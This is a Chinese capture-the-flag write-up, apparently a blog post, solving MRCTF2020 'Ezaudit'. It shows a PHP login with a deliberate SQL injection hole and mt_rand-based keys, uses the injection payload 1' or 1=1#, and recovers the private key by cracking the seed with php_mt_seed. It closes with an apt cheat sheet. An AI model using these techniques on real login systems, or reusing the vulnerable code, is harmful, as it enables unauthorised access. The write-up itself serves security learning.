[MRCTF2020]Ezaudit(随机数的安全)

目录

信息收集

代码审计

相关函数

前提知识

思路分析

补充知识


信息收集

查看源代码没有发现有用信息,尝试dirmap扫下目录

python3 dirmap.py -i 网址 -lcf

扫描时发现一个www.zip目录

下载到一份index.php文件,找到一个login.html

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $pass = $_POST['pass'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($pass == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND pass = '$pass'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

代码审计

审计代码得知有login.html,想要登陆的话需要用户名、密码、密钥,并且用户名必须为crisper,密码使用1' or 1=1#,此时只需要知道秘钥即可

相关函数

substr(string,start,length)

string必需。规定要返回其中一部分的字符串。
start必需。规定在字符串的何处开始。
  • 正数 - 在字符串的指定位置开始
  • 负数 - 在从字符串结尾的指定位置开始
  • 0 - 在字符串中的第一个字符处开始
length可选。规定要返回的字符串长度。默认是直到字符串的结尾。
  • 正数 - 从 start 参数所在的位置返回
  • 负数 - 从字符串末端返回

mt_rand()

函数使用 Mersenne Twister 算法生成随机整数
mt_rand(min,max);

参数描述
min可选。规定返回的最小数。默认是 0。
max可选。规定返回的最大数。默认是mt_getrandmax() 2147483647

前提知识

mt_srand

mt_srand([ int $seed] ) : void

用 seed 来给随机数发生器播种。 没有设定 seed 参数时,会被设为随时数。使用者在进行一次mt_srand()操作后,seed数值将被固定下来,给接下来的mt_rand()函数使用。

mt_rand()存在的问题

由于mt_rand()的生成的随机数只跟seed和调用该函数的次数有关。举一个简单的例子来说明一下这个问题,假设使用mt_srand(1111111)进行了一次播种操作,接下来调用mt_rand()函数,第一次生成的数值为a,第二次生成的为b,第三次生成的为c。任何一个人拿到这样的一串代码,所执行的结果都是跟刚刚描述的一样。所以当你的seed数值被他人知道后,就可以预测出你接下来的数值是多少,这就是该函数的一个问题,他并不能起到一个真随机数的作用。

简单举个例子

<?php  
mt_srand(1234);    
echo mt_rand()."</br>";
echo mt_rand()."</br>";
echo mt_rand()."</br>";
?>  

411284887
1068724585
1335968403

由1234产生的数值前三个固定为上面的值,当对手知道你的第一次为411284887时便能猜测你的seed和下一次生成的数值,因为同一个种子产生的随机数只会根据调用次数的不同产生不同的数。

思路分析

使用python脚本先将公钥转换成脚本能识别的数列

str1 ='KVQP0LdJKRaV3n9D'
str2 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
res =''
length = str(len(str2)-1)
for i in range(len(str1)):
    for j in range(len(str2)):
        if str1[i] ==  str2[j]:
            res += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
            break
print(res)

36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

kali开一个php_mt_seed来跑种子

tar zxvf php_mt_seed-4.0.tar.gz

make

chmod 777 php_mt_seed-4.0/

time ./php_mt_seed 36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

 

种子为1775196155,PHP版本为(5.2.1-7.0.x)

<?php
mt_srand(1775196155);
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }
 
function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
echo public_key() . "<br>";
echo private_key();
?>

这里我们PHP版本是5.3.29

KVQP0LdJKRaV3n9D
XuNhoueCDCGc

因此私钥为

XuNhoueCDCGc

拿到flag

补充知识

kali的apt命令

apt-get	        	    功能
apt-get	        	    安装软件包
apt-get remove		    删除软件包
apt-get remove		    更换所有包
apt-get purge		    移除软件包及配置文件
apt-get upgrade        	更新所有软件包(自动处理依赖项)
apt-get autoremove		自动删除不需要的包
apt-get dist-upgrade	在升级软件包时自动处理依赖关系
apt-cache search		搜索应用程序
apt-cache	            显示安装细节

1.安装软件
apt-get install {包名}

2.更新软件
apt-get install update

3.软件包升级

apt-get upgrade

4.系统版本升级

apt-get dist -upgrade 注意:要先进行软件包升级才可以进行系统版本升级

5.移除软件

apt-get remove {包名}

6.自动移除系统不需要的旧的软件包

apt-get autoremove

7.完全移除,除了移除所需文件之外还移除配置文件以及历史文件

apt-get purge {包名}

8.清理已经安装过的软件包

apt-get clean
  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值